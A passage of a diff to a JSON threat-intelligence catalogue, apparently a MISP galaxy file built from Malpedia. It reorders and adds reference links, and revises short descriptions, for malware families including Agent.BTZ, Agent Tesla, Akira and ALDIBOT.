"https://www.seqrite.com/blog/double-action-triple-infection-and-a-new-rat-sidecopys-persistent-targeting-of-indian-defence" + ], + "synonyms": [], + "type": [] + }, + "uuid": "57df4c54-3fff-49dd-9657-19265a66f5de", + "value": "Action RAT" + }, { "description": "", "meta": { @@ -12109,12 +12676,12 @@ "value": "Adamantium Thief" }, { - "description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim’s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.", + "description": "Adam Locker (detected as RANSOM_ADAMLOCK.A) is a ransomware that encrypts targeted files on a victim\u2019s system but offers them a free decryption key which can be accessed through Adf.ly, a URL shortening and advertising service.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.adam_locker", - "https://twitter.com/JaromirHorejsi/status/813712587997249536", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016" + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ransomware-recap-dec-19-dec-31-2016", + "https://twitter.com/JaromirHorejsi/status/813712587997249536" ], "synonyms": [], "type": [] @@ -12193,9 +12760,9 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.afrodita", - "https://github.com/albertzsigovits/malware-notes/blob/master/Afrodita.md", + "https://dissectingmalwa.re/not-so-nice-after-all-afrodita-ransomware.html", "https://twitter.com/_CPResearch_/status/1201957880909484033", - "https://dissectingmalwa.re/not-so-nice-after-all-afrodita-ransomware.html" + "https://github.com/albertzsigovits/malware-notes/blob/master/Afrodita.md" ], "synonyms": [], "type": [] @@ -12208,10 +12775,10 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.agendacrypt", - "https://www.trendmicro.com/en_us/research/22/l/agenda-ransomware-uses-rust-to-target-more-vital-industries.html", "https://www.sentinelone.com/labs/crimeware-trends-ransomware-developers-turn-to-intermittent-encryption-to-evade-detection/", - "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/h/new-golang-ransomware-agenda-customizes-attacks/IOCs-blog-New%20Golang%20Ransomware%20Agenda%20Customizes%20Attacks.txt", + "https://www.trendmicro.com/en_us/research/22/l/agenda-ransomware-uses-rust-to-target-more-vital-industries.html", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RE54L7v", "https://www.trendmicro.com/en_us/research/22/h/new-golang-ransomware-agenda-customizes-attacks.html" ], "synonyms": [ @@ -12228,33 +12795,33 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_btz", - "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/", + "https://unit42.paloaltonetworks.com/ironnetinjector/", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d", "https://www.secureworks.com/research/threat-profiles/iron-hunter", "https://www.crysys.hu/publications/files/tedi/ukatemicrysys_territorialdispute.pdf", - "https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/", - "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", - "http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/", - "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", - "https://artemonsecurity.com/snake_whitepaper.pdf", - "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", - "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", - "https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4", - "https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat", - "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", - "https://docs.broadcom.com/doc/waterbug-attack-group", - "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", - "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", - "https://unit42.paloaltonetworks.com/ironnetinjector/", - "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html", - "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified", - "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", - "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", - "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", "https://cdn.muckrock.com/foia_files/2021/02/16/21R019_RESPONSE.pdf", "https://securelist.com/blog/virus-watch/58551/agent-btz-a-source-of-inspiration/", + "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", + "https://blog.gdata.de/2015/01/23779-weiterentwicklung-anspruchsvoller-spyware-von-agent-btz-zu-comrat", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", + "https://www.cisa.gov/news-events/cybersecurity-advisories/aa23-129a", "https://www.welivesecurity.com/wp-content/uploads/2021/12/eset_jumping_the_air_gap_wp.pdf", - "https://ryancor.medium.com/deobfuscating-powershell-malware-droppers-b6c34499e41d" + "http://www.intezer.com/new-variants-of-agent-btz-comrat-found-part-2/", + "https://docs.broadcom.com/doc/waterbug-attack-group", + "https://www.welivesecurity.com/2020/05/26/agentbtz-comratv4-ten-year-journey/", + "https://artemonsecurity.com/snake_whitepaper.pdf", + "https://www.symantec.com/content/en/us/enterprise/media/security_response/whitepapers/waterbug-attack-group.pdf", + "https://www-west.symantec.com/content/dam/symantec/docs/security-center/white-papers/waterbug-attack-group-16-en.pdf", + "http://www.intezer.com/new-variants-of-agent-btz-comrat-found/", + "https://www.welivesecurity.com/wp-content/uploads/2020/07/ESET_Threat_Report_Q22020.pdf", + "http://blog.threatexpert.com/2008/11/agentbtz-threat-that-hit-pentagon.html", + "https://ti.qianxin.com/uploads/2020/02/13/cb78386a082f465f259b37dae5df4884.pdf", + "https://cocomelonc.github.io/tutorial/2022/05/02/malware-pers-3.html", + "https://www.ironnet.com/blog/russian-cyber-attack-campaigns-and-actors", + "https://securelist.com/shedding-skin-turlas-fresh-faces/88069/", + "https://www.msreverseengineering.com/blog/2020/8/31/an-exhaustively-analyzed-idb-for-comrat-v4", + "https://www.gdatasoftware.com/blog/2014/11/23937-the-uroburos-case-new-sophisticated-rat-identified" ], "synonyms": [ "ComRAT", @@ -12267,139 +12834,140 @@ "value": "Agent.BTZ" }, { - "description": "A .NET based keylogger and RAT readily available to actors. Logs keystrokes and the host's clipboard and beacons this information back to the C2.", + "description": "A .NET based information stealer readily available to actors due to leaked builders. The malware is able to log keystrokes, can access the host's clipboard and crawls the disk for credentials or other valuable information. It has the capability to send information back to its C&C via HTTP(S), SMTP, FTP, or towards a Telegram channel.", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.agent_tesla", - "https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/", "https://yoroi.company/research/serverless-infostealer-delivered-in-est-european-countries/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", - "https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/", - "https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf", - "https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/", - "http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/", - "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", - "https://embee-research.ghost.io/agenttesla-full-analysis-api-hashing/", - "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", - "https://inquest.net/blog/2021/11/02/adults-only-malware-lures", - "https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant", - "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", - "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", - "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", - "https://twitter.com/MsftSecIntel/status/1392219299696152578", - "https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", - "https://lab52.io/blog/a-twisted-malware-infection-chain/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", - "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", - "https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla", - "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", - "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", - "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", - "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/", - "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", - "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla", - "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", - "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", - "https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor", - "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", - "https://www.splunk.com/en_us/blog/security/inside-the-mind-of-a-rat-agent-tesla-detection-and-analysis.html", - "https://menshaway.blogspot.com/2021/04/agenttesla-malware.html", - "https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", - "https://blog.malwarelab.pl/posts/basfu_aggah/", - "https://community.riskiq.com/article/40000d46", - "https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware", - "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", - "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", - "https://blog.talosintelligence.com/ipfs-abuse/", - "https://blog.netlab.360.com/purecrypter", - "https://community.riskiq.com/article/6337984e", - "https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1", - "https://blog.malwarebytes.com/threat-intelligence/2022/05/nigerian-tesla-419-scammer-gone-malware-distributor-unmasked/", - "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", - "https://youtu.be/QQuRp7Qiuzg", - "https://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://www.telsy.com/download/4832/", - "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", - "https://community.riskiq.com/article/56e28880", - "https://isc.sans.edu/diary/Infostealer+Malware+with+Double+Extension/29354", - "https://guillaumeorlando.github.io/AgentTesla", - "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", - "https://www.secureworks.com/research/darktortilla-malware-analysis", - "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", - "https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/", - "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", - "https://asec.ahnlab.com/ko/29133/", - "https://securelist.com/agent-tesla-malicious-spam-campaign/107478/", - "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", - "https://malwarebookreports.com/agent-teslaggah/", - "https://www.logpoint.com/en/blog/agentteslas-capabilities-review-detection-strategies/", - "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", - "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", - "https://www.inde.nz/blog/inside-agenttesla", - "https://isc.sans.edu/diary/rss/28190", - "https://youtu.be/hxaeWyK8gMI", - "http://blog.nsfocus.net/sweed-611/", - "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", - "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", - "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", - "https://www.youtube.com/watch?v=Q9_1xNbVQPY", - "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", - "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", - "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", - "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", - "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", - "https://isc.sans.edu/diary/rss/27092", - "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", - "https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf", - "https://news.sophos.com/en-us/2020/05/14/raticate/", - "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", - "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", - "https://isc.sans.edu/diary/27088", - "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", - "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", - "http://www.secureworks.com/research/threat-profiles/gold-galleon", - "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", - "https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4", - "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", - "https://securityintelligence.com/posts/roboski-global-recovery-automation/", - "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", - "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", - "https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html", - "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", - "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", - "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", - "https://unit42.paloaltonetworks.com/originlogger/", - "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", - "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", - "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", - "https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ", - "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", - "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", - "https://youtu.be/BM38OshcozE", - "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", - "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", - "https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/", - "https://guillaumeorlando.github.io/GorgonInfectionchain", "https://isc.sans.edu/diary/28202", - "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", - "https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/", - "https://isc.sans.edu/diary/27666", - "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", - "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", - "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", - "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", - "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", - "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", - "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", - "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", - "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", - "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", - "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", "https://blog.minerva-labs.com/preventing-agenttesla", + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://youtu.be/BM38OshcozE", + "https://medium.com/@mariohenkel/decrypting-agenttesla-strings-and-config-b9000b18c996?sk=fcead9538516eeb3daa7b53cb537f6f4", + "http://blog.nsfocus.net/sweed-611/", + "https://blog.talosintelligence.com/ipfs-abuse/", + "https://threatresearch.ext.hp.com/aggah-campaigns-latest-tactics-victimology-powerpoint-dropper-and-cryptocurrency-stealer/", + "https://isc.sans.edu/diary/27666", + "https://www.zscaler.com/blogs/research/agent-tesla-keylogger-delivered-using-cybersquatting", "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader", + "https://community.riskiq.com/article/56e28880", + "https://research.checkpoint.com/2023/following-the-scent-of-trickgate-6-year-old-packer-used-to-deploy-the-most-wanted-malware/", + "https://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://isc.sans.edu/diary/27088", + "https://securityintelligence.com/posts/roboski-global-recovery-automation/", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/another-archive-format-smuggling-malware/", + "https://lab52.io/blog/a-twisted-malware-infection-chain/", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-1/", + "https://youtu.be/QQuRp7Qiuzg", + "https://www.telsy.com/download/4832/", + "https://yoroi.company/research/office-documents-may-the-xll-technique-change-the-threat-landscape-in-2022/", + "https://securelist.com/agent-tesla-malicious-spam-campaign/107478/", + "https://research.loginsoft.com/threat-research/from-innocence-to-malice-the-onenote-malware-campaign-uncovered/", + "https://cofense.com/strategic-analysis-agent-tesla-expands-targeting-and-networking-capabilities/", + "https://blog.morphisec.com/agent-tesla-a-day-in-a-life-of-ir", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/ipfs-a-new-data-frontier-or-a-new-cybercriminal-hideout", + "https://labs.sentinelone.com/agent-tesla-old-rat-uses-new-tricks-to-stay-on-top/", + "https://www.malwarebytes.com/blog/threat-intelligence/2022/20221121-threat-intel-report-final.pdf", "https://cert.gov.ua/article/861292", - "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/" + "https://us-cert.cisa.gov/ncas/alerts/aa20-345a", + "https://thisissecurity.stormshield.com/2018/01/12/agent-tesla-campaign/", + "https://blog.qualys.com/vulnerabilities-threat-research/2022/02/02/catching-the-rat-called-agent-tesla", + "https://guillaumeorlando.github.io/AgentTesla", + "https://malwatch.github.io/posts/agent-tesla-malware-analysis/", + "https://inquest.net/blog/2021/11/02/adults-only-malware-lures", + "http://www.secureworks.com/research/threat-profiles/gold-galleon", + "https://researchcenter.paloaltonetworks.com/2017/09/unit42-analyzing-various-layers-agentteslas-packing/", + "https://unit42.paloaltonetworks.com/originlogger/", + "https://www.welivesecurity.com/2021/01/12/operation-spalax-targeted-malware-attacks-colombia/", + "https://yoroi.company/research/cyber-criminal-espionage-operation-insists-on-italian-manufacturing/", + "https://news.sophos.com/en-us/2021/04/21/nearly-half-of-malware-now-use-tls-to-conceal-communications/", + "https://www.bitdefender.com/blog/hotforsecurity/bitdefender-labs-sees-increased-malicious-and-scam-activity-exploiting-the-war-in-ukraine", + "https://www.proofpoint.com/us/blog/threat-insight/dtpacker-net-packer-curious-password-1", + "https://cocomelonc.github.io/tutorial/2022/04/20/malware-pers-1.html", + "https://malwarebreakdown.com/2018/01/11/malspam-entitled-invoice-attched-for-your-reference-delivers-agent-tesla-keylogger/", + "https://www.vmray.com/cyber-security-blog/threat-bulletin-agent-tesla/", + "https://www.zscaler.com/blogs/security-research/catching-rats-over-custom-protocols", + "https://menshaway.blogspot.com/2021/04/agenttesla-malware.html", + "https://blog.talosintelligence.com/2020/12/2020-year-in-malware.html", + "https://www.checkpoint.com/press/2022/march-2022s-most-wanted-malware-easter-phishing-scams-help-emotet-assert-its-dominance/", + "https://news.sophos.com/en-us/2021/06/02/amsi-bypasses-remain-tricks-of-the-malware-trade/", + "https://www.youtube.com/watch?v=Q9_1xNbVQPY", + "https://www.proofpoint.com/us/threat-insight/post/new-whiteshadow-downloader-uses-microsoft-sql-retrieve-malware", + "https://guillaumeorlando.github.io/GorgonInfectionchain", + "https://cip.gov.ua/en/news/khto-stoyit-za-kiberatakami-na-ukrayinsku-kritichnu-informaciinu-infrastrukturu-statistika-15-22-bereznya", + "https://twitter.com/MsftSecIntel/status/1392219299696152578", + "https://www.hornetsecurity.com/en/threat-research/vba-purging-malspam-campaigns/", + "https://www.ciphertechsolutions.com/roboski-global-recovery-automation/", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord?", + "https://www.splunk.com/en_us/blog/security/inside-the-mind-of-a-rat-agent-tesla-detection-and-analysis.html", + "https://forensicitguy.github.io/agenttesla-rtf-dotnet-tradecraft/", + "https://cocomelonc.github.io/tutorial/2021/09/06/simple-malware-av-evasion-2.html", + "https://blog.fortinet.com/2017/06/28/in-depth-analysis-of-net-malware-javaupdtr", + "https://blogs.juniper.net/en-us/threat-research/new-pastebin-like-service-used-in-multiple-malware-campaigns", + "https://www.denexus.io/wp-content/uploads/2021/02/Threat-actor-targeting-gas-oil-supply-chains_public.pdf", + "https://www.gdatasoftware.com/blog/global-pandemic-remcos-tesla-netwire", + "https://www.proofpoint.com/us/blog/threat-insight/commodity-net-packers-use-embedded-images-hide-payloads", + "https://mrt4ntr4.github.io/How-Analysing-an-AgentTesla-Could-Lead-To-Attackers-Inbox-2/", + "https://embee-research.ghost.io/agenttesla-full-analysis-api-hashing/", + "https://www.fortinet.com/blog/threat-research/fake-purchase-order-used-to-deliver-agent-tesla", + "https://cocomelonc.github.io/malware/2022/07/30/malware-av-evasion-8.html", + "https://www.inde.nz/blog/inside-agenttesla", + "https://www.secureworks.com/research/darktortilla-malware-analysis", + "https://www.spamhaus.org/news/images/botnet-report-2020-q2/2020-q2-spamhaus-botnet-threat-report.pdf", + "https://youtu.be/hxaeWyK8gMI", + "https://www.difesaesicurezza.com/cyber/cybercrime-rfq-dalla-turchia-veicola-agenttesla-e-zgrat/", + "https://blog.malwarebytes.com/cybercrime/2020/04/new-agenttesla-variant-steals-wifi-credentials/", + "https://forensicitguy.github.io/agenttesla-vba-certutil-download/", + "https://blog.sekoia.io/privateloader-the-loader-of-the-prevalent-ruzki-ppi-service/", + "https://forensicitguy.github.io/a-tale-of-two-dropper-scripts/", + "https://community.riskiq.com/article/40000d46", + "https://www.elastic.co/security-labs/attack-chain-leads-to-xworm-and-agenttesla", + "https://isc.sans.edu/forums/diary/AgentTesla+Delivered+via+a+Malicious+PowerPoint+AddIn/26162/", + "https://blogs.juniper.net/en-us/security/aggah-malware-campaign-expands-to-zendesk-and-github-to-host-its-malware", + "https://team-cymru.com/blog/2022/07/12/an-analysis-of-infrastructure-linked-to-the-hagga-threat-actor", + "https://blog.malwarelab.pl/posts/basfu_aggah/", + "https://marcoramilli.com/2021/01/09/c2-traffic-patterns-personal-notes/", + "https://news.sophos.com/en-us/2021/02/02/agent-tesla-amps-up-information-stealing-attacks/", + "https://malwarebookreports.com/agent-teslaggah/", + "https://www.cisecurity.org/insights/blog/top-10-malware-march-2022", + "https://malgamy.github.io/malware-analysis/Deep-Analysis-Agent-Tesla/", + "https://www.bleepingcomputer.com/news/security/russia-ukraine-war-exploited-as-lure-for-malware-distribution/", + "https://news.sophos.com/en-us/2020/05/14/raticate/", + "https://www.trendmicro.com/vinfo/us/security/news/cybercrime-and-digital-threats/negasteal-uses-hastebin-for-fileless-delivery-of-crysis-ransomware", + "https://www.logpoint.com/en/blog/agentteslas-capabilities-review-detection-strategies/", + "https://www.telsy.com/wp-content/uploads/ATR_82599-1.pdf", + "https://mp.weixin.qq.com/s/X0kAIHOSldiFDthb4IsmbQ", + "https://www.sophos.com/en-us/medialibrary/pdfs/technical-papers/sophos-2021-threat-report.pdf", + "https://yoroi.company/research/the-wayback-campaign-a-large-scale-operation-hiding-in-plain-sight/", + "https://malwr-analysis.com/2020/04/05/trojan-agent-tesla-malware-analysis/", + "https://blog.talosintelligence.com/2019/07/sweed-agent-tesla.html", + "https://www.fortinet.com/blog/threat-research/phishing-malware-hijacks-bitcoin-addresses-delivers-new-agent-tesla-variant", + "https://unit42.paloaltonetworks.com/malicious-compiled-html-help-file-agent-tesla/", + "https://isc.sans.edu/diary/Infostealer+Malware+with+Double+Extension/29354", + "https://blogs.blackberry.com/en/2022/05/dot-net-stubs-sowing-the-seeds-of-discord", + "https://isc.sans.edu/diary/rss/27092", + "https://community.riskiq.com/article/6337984e", + "https://www.lastline.com/labsblog/evolution-of-excel-4-0-macro-weaponization/", + "https://threatresearch.ext.hp.com/wp-content/uploads/2021/03/HP_Bromium_Threat_Insights_Report_Q4_2020.pdf", + "https://www.secureworks.com/research/gold-galleon-how-a-nigerian-cyber-crew-plunders-the-shipping-industry", + "https://blog.apnic.net/2022/03/31/how-to-detect-and-prevent-common-data-exfiltration-attacks/", + "https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/", + "https://research.openanalysis.net/dotnet/xorstringsnet/agenttesla/2023/04/16/xorstringsnet.html", + "https://blog.netlab.360.com/purecrypter", + "https://www.netskope.com/blog/infected-powerpoint-files-using-cloud-services-to-deliver-multiple-malware", + "https://isc.sans.edu/diary/rss/28190", + "https://www.seqrite.com/blog/gorgon-apt-targeting-msme-sector-in-india/", + "https://isc.sans.edu/forums/diary/PowerPoint+attachments+Agent+Tesla+and+code+reuse+in+malware/28154/", + "https://www.proofpoint.com/us/threat-insight/post/coronavirus-threat-landscape-update", + "https://asec.ahnlab.com/ko/29133/", + "https://unit42.paloaltonetworks.com/covid-19-themed-cyber-attacks-target-government-and-medical-organizations/", + "https://blog.malwarebytes.com/threat-intelligence/2022/05/nigerian-tesla-419-scammer-gone-malware-distributor-unmasked/", + "https://www.lac.co.jp/lacwatch/report/20220307_002893.html", + "https://www.fortinet.com/blog/threat-research/analysis-of-new-agent-tesla-spyware-variant.html", + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/the-many-roads-leading-to-agent-tesla/", + "http://l1v1ngc0d3.wordpress.com/2021/11/12/agenttesla-dropped-via-nsis-installer/", + "https://blogs.blackberry.com/en/2021/06/threat-thursday-agent-tesla-infostealer-malware", + "https://unit42.paloaltonetworks.com/excel-add-ins-malicious-xll-files-agent-tesla/" ], "synonyms": [ "AgenTesla", @@ -12442,22 +13010,27 @@ "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.akira", - "https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/" + "https://news.sophos.com/en-us/2023/05/09/akira-ransomware-is-bringin-88-back/", + "https://stairwell.com/resources/akira-pulling-on-the-chains-of-ransomware/", + "https://cybercx.com.au/blog/akira-ransomware/", + "https://arcticwolf.com/resources/blog/conti-and-akira-chained-together/", + "https://decoded.avast.io/threatresearch/decrypted-akira-ransomware/", + "https://twitter.com/MalGamy12/status/1651972583615602694" ], "synonyms": [], "type": [] }, "uuid": "834635f7-fb0f-472c-913e-fb112ae29fdc", - "value": "Akira" + "value": "Akira (Windows)" }, { "description": "", "meta": { "refs": [ "https://malpedia.caad.fkie.fraunhofer.de/details/win.albaniiutas", - "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia/", "https://insight-jp.nttsecurity.com/post/102gkfp/pandas-new-arsenal-part-2-albaniiutas", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", "https://blog.group-ib.com/task" ], "synonyms": [ @@ -12469,7 +13042,7 @@ "value": "Albaniiutas" }, { - "description": "According to Trend Micro Encyclopia:\r\nALDIBOT first appeared in late August 2012 in relevant forums. Variants can steal passwords from the browser Mozilla Firefox, instant messenger client Pidgin, and the download manager jDownloader. ALDIBOT variants send the gathered information to their command-and-control (C&C) servers.\r\n\r\nThis malware family can also launch Distributed Denial of Service (DDoS) attacks using different protocols such as HTTP, TCP, UDP, and SYN. It can also perform flood attacks via Slowloris and Layer 7.\r\n\r\nThis bot can also be set up as a SOCKS proxy to abuse the 